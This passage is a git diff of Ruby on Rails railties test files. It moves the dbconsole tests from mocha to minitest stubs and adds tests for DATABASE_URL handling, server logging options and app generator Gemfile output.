-    assert_match(/No database is configured for the environment '\w+'/, output)
+  def setup
+    Rails::DBConsole.const_set('APP_PATH', 'rails/all')
+  end
 
-    app_config(test: "with_init")
-    assert_equal Rails::DBConsole.new.config, "with_init"
+  def teardown
+    Rails::DBConsole.send(:remove_const, 'APP_PATH')
+    %w[PGUSER PGHOST PGPORT PGPASSWORD DATABASE_URL].each{|key| ENV.delete(key)}
+  end
+
+  def test_config_with_db_config_only
+    config_sample = {
+      "test"=> {
+        "adapter"=> "sqlite3",
+        "host"=> "localhost",
+        "port"=> "9000",
+        "database"=> "foo_test",
+        "user"=> "foo",
+        "password"=> "bar",
+        "pool"=> "5",
+        "timeout"=> "3000"
+      }
+    }
+    app_db_config(config_sample) do
+      assert_equal config_sample["test"], Rails::DBConsole.new.config
+    end
+  end
 
-    app_db_file("test:\n  without_init")
-    assert_equal Rails::DBConsole.new.config, "without_init"
+  def test_config_with_no_db_config
+    app_db_config(nil) do
+      assert_raise(ActiveRecord::AdapterNotSpecified) {
+        Rails::DBConsole.new.config
+      }
+    end
+  end
 
-    app_db_file("test:\n  <%= Rails.something_app_specific %>")
-    assert_equal Rails::DBConsole.new.config, "with_init"
+  def test_config_with_database_url_only
+    ENV['DATABASE_URL'] = 'postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000'
+    expected = {
+      "adapter"  => "postgresql",
+      "host"     => "localhost",
+      "port"     => 9000,
+      "database" => "foo_test",
+      "username" => "foo",
+      "password" => "bar",
+      "pool"     => "5",
+      "timeout"  => "3000"
+    }.sort
+
+    app_db_config(nil) do
+      assert_equal expected, Rails::DBConsole.new.config.sort
+    end
+  end
 
-    app_db_file("test:\n\ninvalid")
-    assert_equal Rails::DBConsole.new.config, "with_init"
+  def test_config_choose_database_url_if_exists
+    host = "database-url-host.com"
+    ENV['DATABASE_URL'] = "postgresql://foo:bar@#{host}:9000/foo_test?pool=5&timeout=3000"
+    sample_config = {
+      "test" => {
+        "adapter"  => "postgresql",
+        "host"     => "not-the-#{host}",
+        "port"     => 9000,
+        "database" => "foo_test",
+        "username" => "foo",
+        "password" => "bar",
+        "pool"     => "5",
+        "timeout"  => "3000"
+      }
+    }
+    app_db_config(sample_config) do
+      assert_equal host, Rails::DBConsole.new.config["host"]
+    end
   end
 
   def test_env
-    assert_equal Rails::DBConsole.new.environment, "test"
+    assert_equal "test", Rails::DBConsole.new.environment
 
     ENV['RAILS_ENV'] = nil
     ENV['RACK_ENV'] = nil
 
-    Rails.stubs(:respond_to?).with(:env).returns(false)
-    assert_equal Rails::DBConsole.new.environment, "development"
+    Rails.stub(:respond_to?, false) do
+      assert_equal "development", Rails::DBConsole.new.environment
 
-    ENV['RACK_ENV'] = "rack_env"
-    assert_equal Rails::DBConsole.new.environment, "rack_env"
+      ENV['RACK_ENV'] = "rack_env"
+      assert_equal "rack_env", Rails::DBConsole.new.environment
 
-    ENV['RAILS_ENV'] = "rails_env"
-    assert_equal Rails::DBConsole.new.environment, "rails_env"
+      ENV['RAILS_ENV'] = "rails_env"
+      assert_equal "rails_env", Rails::DBConsole.new.environment
+    end
   ensure
     ENV['RAILS_ENV'] = "test"
+    ENV['RACK_ENV'] = nil
   end
 
   def test_rails_env_is_development_when_argument_is_dev
-    Rails::DBConsole.stubs(:available_environments).returns(['development', 'test'])
-    options = Rails::DBConsole.new.send(:parse_arguments, ['dev'])
-    assert_match('development', options[:environment])
+    dbconsole = Rails::DBConsole.new
+
+    dbconsole.stub(:available_environments, ['development', 'test']) do
+      options = dbconsole.send(:parse_arguments, ['dev'])
+      assert_match('development', options[:environment])
+    end
   end
 
   def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
-    Rails::DBConsole.stubs(:available_environments).returns(['dev'])
-    options = Rails::DBConsole.new.send(:parse_arguments, ['dev'])
-    assert_match('dev', options[:environment])
+    dbconsole = Rails::DBConsole.new
+
+    dbconsole.stub(:available_environments, ['dev']) do
+      options = dbconsole.send(:parse_arguments, ['dev'])
+      assert_match('dev', options[:environment])
+    end
   end
 
   def test_mysql
-    dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], 'db')
     start(adapter: 'mysql', database: 'db')
     assert !aborted
+    assert_equal [%w[mysql mysql5], 'db'], dbconsole.find_cmd_and_exec_args
   end
 
   def test_mysql_full
-    dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--host=locahost', '--port=1234', '--socket=socket', '--user=user', '--default-character-set=UTF-8', '-p', 'db')
     start(adapter: 'mysql', database: 'db', host: 'locahost', port: 1234, socket: 'socket', username: 'user', password: 'qwerty', encoding: 'UTF-8')
     assert !aborted
+    assert_equal [%w[mysql mysql5], '--host=locahost', '--port=1234', '--socket=socket', '--user=user', '--default-character-set=UTF-8', '-p', 'db'], dbconsole.find_cmd_and_exec_args
   end
 
   def test_mysql_include_password
-    dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--user=user', '--password=qwerty', 'db')
     start({adapter: 'mysql', database: 'db', username: 'user', password: 'qwerty'}, ['-p'])
     assert !aborted
+    assert_equal [%w[mysql mysql5], '--user=user', '--password=qwerty', 'db'], dbconsole.find_cmd_and_exec_args
   end
 
   def test_postgresql
-    dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
     start(adapter: 'postgresql', database: 'db')
     assert !aborted
+    assert_equal ['psql', 'db'], dbconsole.find_cmd_and_exec_args
   end
 
   def test_postgresql_full
-    dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
     start(adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3', host: 'host', port: 5432)
     assert !aborted
+    assert_equal ['psql', 'db'], dbconsole.find_cmd_and_exec_args
     assert_equal 'user', ENV['PGUSER']
     assert_equal 'host', ENV['PGHOST']
     assert_equal '5432', ENV['PGPORT']
@@ -92,60 +151,60 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
   end
 
   def test_postgresql_include_password
-    dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
     start({adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3'}, ['-p'])
     assert !aborted
+    assert_equal ['psql', 'db'], dbconsole.find_cmd_and_exec_args
     assert_equal 'user', ENV['PGUSER']
     assert_equal 'q1w2e3', ENV['PGPASSWORD']
   end
 
   def test_sqlite
-    dbconsole.expects(:find_cmd_and_exec).with('sqlite', 'db')
     start(adapter: 'sqlite', database: 'db')
     assert !aborted
+    assert_equal ['sqlite', 'db'], dbconsole.find_cmd_and_exec_args
   end
 
   def test_sqlite3
-    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', Rails.root.join('db.sqlite3').to_s)
     start(adapter: 'sqlite3', database: 'db.sqlite3')
     assert !aborted
+    assert_equal ['sqlite3', Rails.root.join('db.sqlite3').to_s], dbconsole.find_cmd_and_exec_args
   end
 
   def test_sqlite3_mode
-    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-html', Rails.root.join('db.sqlite3').to_s)
     start({adapter: 'sqlite3', database: 'db.sqlite3'}, ['--mode', 'html'])
     assert !aborted
+    assert_equal ['sqlite3', '-html', Rails.root.join('db.sqlite3').to_s], dbconsole.find_cmd_and_exec_args
   end
 
   def test_sqlite3_header
-    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-header', Rails.root.join('db.sqlite3').to_s)
     start({adapter: 'sqlite3', database: 'db.sqlite3'}, ['--header'])
+    assert_equal ['sqlite3', '-header', Rails.root.join('db.sqlite3').to_s], dbconsole.find_cmd_and_exec_args
   end
 
   def test_sqlite3_db_absolute_path
-    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '/tmp/db.sqlite3')
     start(adapter: 'sqlite3', database: '/tmp/db.sqlite3')
     assert !aborted
+    assert_equal ['sqlite3', '/tmp/db.sqlite3'], dbconsole.find_cmd_and_exec_args
   end
 
   def test_sqlite3_db_without_defined_rails_root
-    Rails.stubs(:respond_to?)
-    Rails.expects(:respond_to?).with(:root).once.returns(false)
-    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', Rails.root.join('../config/db.sqlite3').to_s)
-    start(adapter: 'sqlite3', database: 'config/db.sqlite3')
-    assert !aborted
+    Rails.stub(:respond_to?, false) do
+      start(adapter: 'sqlite3', database: 'config/db.sqlite3')
+      assert !aborted
+      assert_equal ['sqlite3', Rails.root.join('../config/db.sqlite3').to_s], dbconsole.find_cmd_and_exec_args
+    end
   end
 
   def test_oracle
-    dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user@db')
     start(adapter: 'oracle', database: 'db', username: 'user', password: 'secret')
     assert !aborted
+    assert_equal ['sqlplus', 'user@db'], dbconsole.find_cmd_and_exec_args
   end
 
   def test_oracle_include_password
-    dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user/secret@db')
     start({adapter: 'oracle', database: 'db', username: 'user', password: 'secret'}, ['-p'])
     assert !aborted
+    assert_equal ['sqlplus', 'user/secret@db'], dbconsole.find_cmd_and_exec_args
   end
 
   def test_unknown_command_line_client
@@ -177,13 +236,28 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
 
   private
 
+  def app_db_config(results)
+    Rails.application.config.stub(:database_configuration, results || {}) do
+      yield
+    end
+  end
+
   def dbconsole
-    @dbconsole ||= Rails::DBConsole.new(nil)
+    @dbconsole ||= Class.new(Rails::DBConsole) do
+      attr_reader :find_cmd_and_exec_args
+
+      def find_cmd_and_exec(*args)
+        @find_cmd_and_exec_args = args
+      end
+    end.new(nil)
   end
 
   def start(config = {}, argv = [])
-    dbconsole.stubs(config: config.stringify_keys, arguments: argv)
-    capture_abort { dbconsole.start }
+    dbconsole.stub(:config, config.stringify_keys) do
+      dbconsole.stub(:arguments, argv) do
+        capture_abort { dbconsole.start }
+      end
+    end
   end
 
   def capture_abort
@@ -197,11 +271,4 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
     end
   end
 
-  def app_db_file(result)
-    IO.stubs(:read).with("config/database.yml").returns(result)
-  end
-
-  def app_config(result)
-    Rails.application.config.stubs(:database_configuration).returns(result.stringify_keys)
-  end
 end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
index cb57b3c0cd..ba688f1e9e 100644
--- a/railties/test/commands/server_test.rb
+++ b/railties/test/commands/server_test.rb
@@ -27,16 +27,62 @@ class Rails::ServerTest < ActiveSupport::TestCase
   end
 
   def test_environment_with_rails_env
-    with_rails_env 'production' do
-      server = Rails::Server.new
-      assert_equal 'production', server.options[:environment]
+    with_rack_env nil do
+      with_rails_env 'production' do
+        server = Rails::Server.new
+        assert_equal 'production', server.options[:environment]
+      end
     end
   end
 
   def test_environment_with_rack_env
-    with_rack_env 'production' do
-      server = Rails::Server.new
-      assert_equal 'production', server.options[:environment]
+    with_rails_env nil do
+      with_rack_env 'production' do
+        server = Rails::Server.new
+        assert_equal 'production', server.options[:environment]
+      end
+    end
+  end
+
+  def test_log_stdout
+    with_rack_env nil do
+      with_rails_env nil do
+        args    = []
+        options = Rails::Server::Options.new.parse!(args)
+        assert_equal true, options[:log_stdout]
+
+        args    = ["-e", "development"]
+        options = Rails::Server::Options.new.parse!(args)
+        assert_equal true, options[:log_stdout]
+
+        args    = ["-e", "production"]
+        options = Rails::Server::Options.new.parse!(args)
+        assert_equal false, options[:log_stdout]
+
+        with_rack_env 'development' do
+          args    = []
+          options = Rails::Server::Options.new.parse!(args)
+          assert_equal true, options[:log_stdout]
+        end
+
+        with_rack_env 'production' do
+          args    = []
+          options = Rails::Server::Options.new.parse!(args)
+          assert_equal false, options[:log_stdout]
+        end
+
+        with_rails_env 'development' do
+          args    = []
+          options = Rails::Server::Options.new.parse!(args)
+          assert_equal true, options[:log_stdout]
+        end
+
+        with_rails_env 'production' do
+          args    = []
+          options = Rails::Server::Options.new.parse!(args)
+          assert_equal false, options[:log_stdout]
+        end
+      end
     end
   end
 end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
index 2442cb995d..d5072614cf 100644
--- a/railties/test/configuration/middleware_stack_proxy_test.rb
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -1,3 +1,4 @@
+require 'active_support'
 require 'active_support/testing/autorun'
 require 'rails/configuration'
 require 'active_support/test_case'
@@ -39,7 +40,7 @@ module Rails
         @stack.swap :foo
         @stack.delete :foo
 
-        mock = MiniTest::Mock.new
+        mock = Minitest::Mock.new
         mock.expect :send, nil, [:swap, :foo]
         mock.expect :send, nil, [:delete, :foo]
 
@@ -50,7 +51,7 @@ module Rails
       private
 
       def assert_playback(msg_name, args)
-        mock = MiniTest::Mock.new
+        mock = Minitest::Mock.new
         mock.expect :send, nil, [msg_name, args]
         @stack.merge_into(mock)
         mock.verify
diff --git a/railties/test/engine_test.rb b/railties/test/engine_test.rb
index 7970913d21..f46fb748f5 100644
--- a/railties/test/engine_test.rb
+++ b/railties/test/engine_test.rb
@@ -11,4 +11,15 @@ class EngineTest < ActiveSupport::TestCase
 
     assert !engine.routes?
   end
+
+  def test_application_can_be_subclassed
+    klass = Class.new(Rails::Application) do
+      attr_reader :hello
+      def initialize
+        @hello = "world"
+        super
+      end
+    end
+    assert_equal "world", klass.instance.hello
+  end
 end
diff --git a/railties/test/env_helpers.rb b/railties/test/env_helpers.rb
index 6223c85bbf..330fe150ca 100644
--- a/railties/test/env_helpers.rb
+++ b/railties/test/env_helpers.rb
@@ -1,7 +1,10 @@
+require 'rails'
+
 module EnvHelpers
   private
 
   def with_rails_env(env)
+    Rails.instance_variable_set :@_env, nil
     switch_env 'RAILS_ENV', env do
       switch_env 'RACK_ENV', nil do
         yield
@@ -10,6 +13,7 @@ module EnvHelpers
   end
 
   def with_rack_env(env)
+    Rails.instance_variable_set :@_env, nil
     switch_env 'RACK_ENV', env do
       switch_env 'RAILS_ENV', nil do
         yield
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
index 0db40c1d32..c6de2c1fb9 100644
--- a/railties/test/generators/actions_test.rb
+++ b/railties/test/generators/actions_test.rb
@@ -1,6 +1,7 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/app/app_generator'
 require 'env_helpers'
+require 'mocha/setup' # FIXME: stop using mocha
 
 class ActionsTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
@@ -41,13 +42,13 @@ class ActionsTest < Rails::Generators::TestCase
   def test_add_source_adds_source_to_gemfile
     run_generator
     action :add_source, 'http://gems.github.com'
-    assert_file 'Gemfile', /source "http:\/\/gems\.github\.com"/
+    assert_file 'Gemfile', /source 'http:\/\/gems\.github\.com'/
   end
 
   def test_gem_should_put_gem_dependency_in_gemfile
     run_generator
     action :gem, 'will-paginate'
-    assert_file 'Gemfile', /gem "will\-paginate"/
+    assert_file 'Gemfile', /gem 'will\-paginate'/
   end
 
   def test_gem_with_version_should_include_version_in_gemfile
@@ -55,7 +56,7 @@ class ActionsTest < Rails::Generators::TestCase
 
     action :gem, 'rspec', '>=2.0.0.a5'
 
-    assert_file 'Gemfile', /gem "rspec", ">=2.0.0.a5"/
+    assert_file 'Gemfile', /gem 'rspec', '>=2.0.0.a5'/
   end
 
   def test_gem_should_insert_on_separate_lines
@@ -66,8 +67,8 @@ class ActionsTest < Rails::Generators::TestCase
     action :gem, 'rspec'
     action :gem, 'rspec-rails'
 
-    assert_file 'Gemfile', /^gem "rspec"$/
-    assert_file 'Gemfile', /^gem "rspec-rails"$/
+    assert_file 'Gemfile', /^gem 'rspec'$/
+    assert_file 'Gemfile', /^gem 'rspec-rails'$/
   end
 
   def test_gem_should_include_options
@@ -75,7 +76,25 @@ class ActionsTest < Rails::Generators::TestCase
 
     action :gem, 'rspec', github: 'dchelimsky/rspec', tag: '1.2.9.rc1'
 
-    assert_file 'Gemfile', /gem "rspec", github: "dchelimsky\/rspec", tag: "1\.2\.9\.rc1"/
+    assert_file 'Gemfile', /gem 'rspec', github: 'dchelimsky\/rspec', tag: '1\.2\.9\.rc1'/
+  end
+
+  def test_gem_with_non_string_options
+    run_generator
+
+    action :gem, 'rspec', require: false
+    action :gem, 'rspec-rails', group: [:development, :test]
+
+    assert_file 'Gemfile', /^gem 'rspec', require: false$/
+    assert_file 'Gemfile', /^gem 'rspec-rails', group: \[:development, :test\]$/
+  end
+
+  def test_gem_falls_back_to_inspect_if_string_contains_single_quote
+    run_generator
+
+    action :gem, 'rspec', ">=2.0'0"
+
+    assert_file 'Gemfile', /^gem 'rspec', ">=2\.0'0"$/
   end
 
   def test_gem_group_should_wrap_gems_in_a_group
@@ -89,7 +108,7 @@ class ActionsTest < Rails::Generators::TestCase
       gem 'fakeweb'
     end
 
-    assert_file 'Gemfile', /\ngroup :development, :test do\n  gem "rspec-rails"\nend\n\ngroup :test do\n  gem "fakeweb"\nend/
+    assert_file 'Gemfile', /\ngroup :development, :test do\n  gem 'rspec-rails'\nend\n\ngroup :test do\n  gem 'fakeweb'\nend/
   end
 
   def test_environment_should_include_data_in_environment_initializer_block
@@ -110,7 +129,7 @@ class ActionsTest < Rails::Generators::TestCase
     run_generator
 
     action :environment do
-      '# This wont be added'
+      _ = '# This wont be added'# assignment to silence parse-time warning "unused literal ignored"
       '# This will be added'
     end
 
@@ -203,14 +222,14 @@ class ActionsTest < Rails::Generators::TestCase
   def test_readme
     run_generator
     Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
-    assert_match "application up and running", action(:readme, "README.rdoc")
+    assert_match "application up and running", action(:readme, "README.md")
   end
 
   def test_readme_with_quiet
     generator(default_arguments, quiet: true)
     run_generator
     Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
-    assert_no_match "application up and running", action(:readme, "README.rdoc")
+    assert_no_match "application up and running", action(:readme, "README.md")
   end
 
   def test_log
@@ -234,7 +253,7 @@ class ActionsTest < Rails::Generators::TestCase
   protected
 
     def action(*args, &block)
-      silence(:stdout){ generator.send(*args, &block) }
+      capture(:stdout){ generator.send(*args, &block) }
     end
 
 end
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index 2f0dfc7d3e..ca26e0c8d7 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -1,9 +1,11 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/app/app_generator'
 require 'generators/shared_generator_tests'
+require 'mocha/setup' # FIXME: stop using mocha
 
 DEFAULT_APP_FILES = %w(
   .gitignore
+  README.md
   Gemfile
   Rakefile
   config.ru
@@ -20,6 +22,7 @@ DEFAULT_APP_FILES = %w(
   bin/bundle
   bin/rails
   bin/rake
+  bin/setup
   config/environments
   config/initializers
   config/locales
@@ -28,7 +31,9 @@ DEFAULT_APP_FILES = %w(
   lib/tasks
   lib/assets
   log
+  test/test_helper.rb
   test/fixtures
+  test/fixtures/files
   test/controllers
   test/models
   test/helpers
@@ -36,6 +41,8 @@ DEFAULT_APP_FILES = %w(
   test/integration
   vendor
   vendor/assets
+  vendor/assets/stylesheets
+  vendor/assets/javascripts
   tmp/cache
   tmp/cache/assets
 )
@@ -54,9 +61,10 @@ class AppGeneratorTest < Rails::Generators::TestCase
   def test_assets
     run_generator
 
-    assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+"application", media: "all", "data-turbolinks-track" => true/)
-    assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+"application", "data-turbolinks-track" => true/)
+    assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+'application', media: 'all', 'data-turbolinks-track' => true/)
+    assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+'application', 'data-turbolinks-track' => true/)
     assert_file("app/assets/stylesheets/application.css")
+    assert_file("app/assets/javascripts/application.js")
   end
 
   def test_invalid_application_name_raises_an_error
@@ -108,10 +116,13 @@ class AppGeneratorTest < Rails::Generators::TestCase
 
     FileUtils.mv(app_root, app_moved_root)
 
+    # make sure we are in correct dir
+    FileUtils.cd(app_moved_root)
+
     generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
                                                                destination_root: app_moved_root, shell: @shell
     generator.send(:app_const)
-    quietly { generator.send(:create_config_files) }
+    quietly { generator.send(:update_config_files) }
     assert_file "myapp_moved/config/environment.rb", /Rails\.application\.initialize!/
     assert_file "myapp_moved/config/initializers/session_store.rb", /_myapp_session/
   end
@@ -126,10 +137,78 @@ class AppGeneratorTest < Rails::Generators::TestCase
 
     generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
     generator.send(:app_const)
-    quietly { generator.send(:create_config_files) }
+    quietly { generator.send(:update_config_files) }
     assert_file "myapp/config/initializers/session_store.rb", /_myapp_session/
   end
 
+  def test_new_application_use_json_serialzier
+    run_generator
+
+    assert_file("config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+  end
+
+  def test_rails_update_keep_the_cookie_serializer_if_it_is_already_configured
+    app_root = File.join(destination_root, 'myapp')
+    run_generator [app_root]
+
+    Rails.application.config.root = app_root
+    Rails.application.class.stubs(:name).returns("Myapp")
+    Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+    generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+    generator.send(:app_const)
+    quietly { generator.send(:update_config_files) }
+    assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+  end
+
+  def test_rails_update_does_not_create_callback_terminator_initializer
+    app_root = File.join(destination_root, 'myapp')
+    run_generator [app_root]
+
+    FileUtils.rm("#{app_root}/config/initializers/callback_terminator.rb")
+
+    Rails.application.config.root = app_root
+    Rails.application.class.stubs(:name).returns("Myapp")
+    Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+    generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+    generator.send(:app_const)
+    quietly { generator.send(:update_config_files) }
+    assert_no_file "#{app_root}/config/initializers/callback_terminator.rb"
+  end
+
+  def test_rails_update_does_not_remove_callback_terminator_initializer_if_already_present
+    app_root = File.join(destination_root, 'myapp')
+    run_generator [app_root]
+
+    FileUtils.touch("#{app_root}/config/initializers/callback_terminator.rb")
+
+    Rails.application.config.root = app_root
+    Rails.application.class.stubs(:name).returns("Myapp")
+    Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+    generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+    generator.send(:app_const)
+    quietly { generator.send(:update_config_files) }
+    assert_file "#{app_root}/config/initializers/callback_terminator.rb"
+  end
+
+  def test_rails_update_set_the_cookie_serializer_to_marchal_if_it_is_not_already_configured
+    app_root = File.join(destination_root, 'myapp')
+    run_generator [app_root]
+
+    FileUtils.rm("#{app_root}/config/initializers/cookies_serializer.rb")
+
+    Rails.application.config.root = app_root
+    Rails.application.class.stubs(:name).returns("Myapp")
+    Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+    generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+    generator.send(:app_const)
+    quietly { generator.send(:update_config_files) }
+    assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :marshal/)
+  end
+
   def test_application_names_are_not_singularized
     run_generator [File.join(destination_root, "hats")]
     assert_file "hats/config/environment.rb", /Rails\.application\.initialize!/
@@ -148,20 +227,20 @@ class AppGeneratorTest < Rails::Generators::TestCase
   def test_config_database_is_added_by_default
     run_generator
     assert_file "config/database.yml", /sqlite3/
-    unless defined?(JRUBY_VERSION)
-      assert_gem "sqlite3"
-    else
+    if defined?(JRUBY_VERSION)
       assert_gem "activerecord-jdbcsqlite3-adapter"
+    else
+      assert_gem "sqlite3"
     end
   end
 
   def test_config_another_database
     run_generator([destination_root, "-d", "mysql"])
     assert_file "config/database.yml", /mysql/
-    unless defined?(JRUBY_VERSION)
-      assert_gem "mysql2"
-    else
+    if defined?(JRUBY_VERSION)
       assert_gem "activerecord-jdbcmysql-adapter"
+    else
+      assert_gem "mysql2"
     end
   end
 
@@ -173,10 +252,10 @@ class AppGeneratorTest < Rails::Generators::TestCase
   def test_config_postgresql_database
     run_generator([destination_root, "-d", "postgresql"])
     assert_file "config/database.yml", /postgresql/
-    unless defined?(JRUBY_VERSION)
-      assert_gem "pg"
-    else
+    if defined?(JRUBY_VERSION)
       assert_gem "activerecord-jdbcpostgresql-adapter"
+    else
+      assert_gem "pg"
     end
   end
 
@@ -205,14 +284,28 @@ class AppGeneratorTest < Rails::Generators::TestCase
     assert_gem "activerecord-jdbc-adapter"
   end
 
-  def test_config_jdbc_database_when_no_option_given
-    if defined?(JRUBY_VERSION)
-      run_generator([destination_root])
+  if defined?(JRUBY_VERSION)
+    def test_config_jdbc_database_when_no_option_given
+      run_generator
       assert_file "config/database.yml", /sqlite3/
       assert_gem "activerecord-jdbcsqlite3-adapter"
     end
   end
 
+  def test_generator_without_skips
+    run_generator
+    assert_file "config/application.rb", /\s+require\s+["']rails\/all["']/
+    assert_file "config/environments/development.rb" do |content|
+      assert_match(/config\.action_mailer\.raise_delivery_errors = false/, content)
+    end
+    assert_file "config/environments/test.rb" do |content|
+      assert_match(/config\.action_mailer\.delivery_method = :test/, content)
+    end
+    assert_file "config/environments/production.rb" do |content|
+      assert_match(/# config\.action_mailer\.raise_delivery_errors = false/, content)
+    end
+  end
+
   def test_generator_if_skip_active_record_is_given
     run_generator [destination_root, "--skip-active-record"]
     assert_no_file "config/database.yml"
@@ -222,16 +315,25 @@ class AppGeneratorTest < Rails::Generators::TestCase
     end
   end
 
-  def test_generator_if_skip_action_view_is_given
-    run_generator [destination_root, "--skip-action-view"]
-    assert_file "config/application.rb", /#\s+require\s+["']action_view\/railtie["']/
+  def test_generator_if_skip_action_mailer_is_given
+    run_generator [destination_root, "--skip-action-mailer"]
+    assert_file "config/application.rb", /#\s+require\s+["']action_mailer\/railtie["']/
+    assert_file "config/environments/development.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "config/environments/test.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
   end
 
   def test_generator_if_skip_sprockets_is_given
     run_generator [destination_root, "--skip-sprockets"]
+    assert_no_file "config/initializers/assets.rb"
     assert_file "config/application.rb" do |content|
       assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
-      assert_match(/config\.assets\.enabled = false/, content)
     end
     assert_file "Gemfile" do |content|
       assert_no_match(/sass-rails/, content)
@@ -245,46 +347,25 @@ class AppGeneratorTest < Rails::Generators::TestCase
       assert_no_match(/config\.assets\.digest = true/, content)
       assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
       assert_no_match(/config\.assets\.css_compressor = :sass/, content)
-      assert_no_match(/config\.assets\.version = '1\.0'/, content)
     end
   end
 
   def test_inclusion_of_javascript_runtime
-    run_generator([destination_root])
+    run_generator
     if defined?(JRUBY_VERSION)
       assert_gem "therubyrhino"
     else
-      assert_file "Gemfile", /# gem\s+["']therubyracer["']+, platforms: :ruby$/
+      assert_file "Gemfile", /# gem 'therubyracer', platforms: :ruby/
     end
   end
 
-  def test_creation_of_a_test_directory
-    run_generator
-    assert_file 'test'
-  end
-
-  def test_creation_of_app_assets_images_directory
-    run_generator
-    assert_file "app/assets/images"
-  end
-
-  def test_creation_of_vendor_assets_javascripts_directory
-    run_generator
-    assert_file "vendor/assets/javascripts"
-  end
-
-  def test_creation_of_vendor_assets_stylesheets_directory
-    run_generator
-    assert_file "vendor/assets/stylesheets"
-  end
-
   def test_jquery_is_the_default_javascript_library
     run_generator
     assert_file "app/assets/javascripts/application.js" do |contents|
       assert_match %r{^//= require jquery}, contents
       assert_match %r{^//= require jquery_ujs}, contents
     end
-    assert_file "Gemfile", /^gem 'jquery-rails'/
+    assert_gem "jquery-rails"
   end
 
   def test_other_javascript_libraries
@@ -298,26 +379,42 @@ class AppGeneratorTest < Rails::Generators::TestCase
 
   def test_javascript_is_skipped_if_required
     run_generator [destination_root, "--skip-javascript"]
-    assert_file "app/assets/javascripts/application.js" do |contents|
-      assert_no_match %r{^//=\s+require\s}, contents
-    end
+
+    assert_no_file "app/assets/javascripts"
+    assert_no_file "vendor/assets/javascripts"
+
     assert_file "app/views/layouts/application.html.erb" do |contents|
-      assert_match(/stylesheet_link_tag\s+"application", media: "all" %>/, contents)
-      assert_match(/javascript_include_tag\s+"application" \%>/, contents)
+      assert_match(/stylesheet_link_tag\s+'application', media: 'all' %>/, contents)
+      assert_no_match(/javascript_include_tag\s+'application' \%>/, contents)
     end
+
     assert_file "Gemfile" do |content|
-      assert_match(/coffee-rails/, content)
+      assert_no_match(/coffee-rails/, content)
+      assert_no_match(/jquery-rails/, content)
     end
   end
 
-  def test_inclusion_of_debugger
+  def test_inclusion_of_jbuilder
     run_generator
-    assert_file "Gemfile", /# gem 'debugger'/
+    assert_gem 'jbuilder'
   end
 
-  def test_inclusion_of_lazy_loaded_sdoc
+  def test_inclusion_of_a_debugger
     run_generator
-    assert_file 'Gemfile', /gem 'sdoc', require: false/
+    if defined?(JRUBY_VERSION) || RUBY_ENGINE == "rbx"
+      assert_file "Gemfile" do |content|
+        assert_no_match(/byebug/, content)
+      end
+    else
+      assert_gem 'byebug'
+    end
+  end
+
+  def test_inclusion_of_method_source
+    run_generator
+    assert_file "Gemfile" do |content|
+      assert_gem 'method_source'
+    end
   end
 
   def test_template_from_dir_pwd
@@ -344,19 +441,20 @@ class AppGeneratorTest < Rails::Generators::TestCase
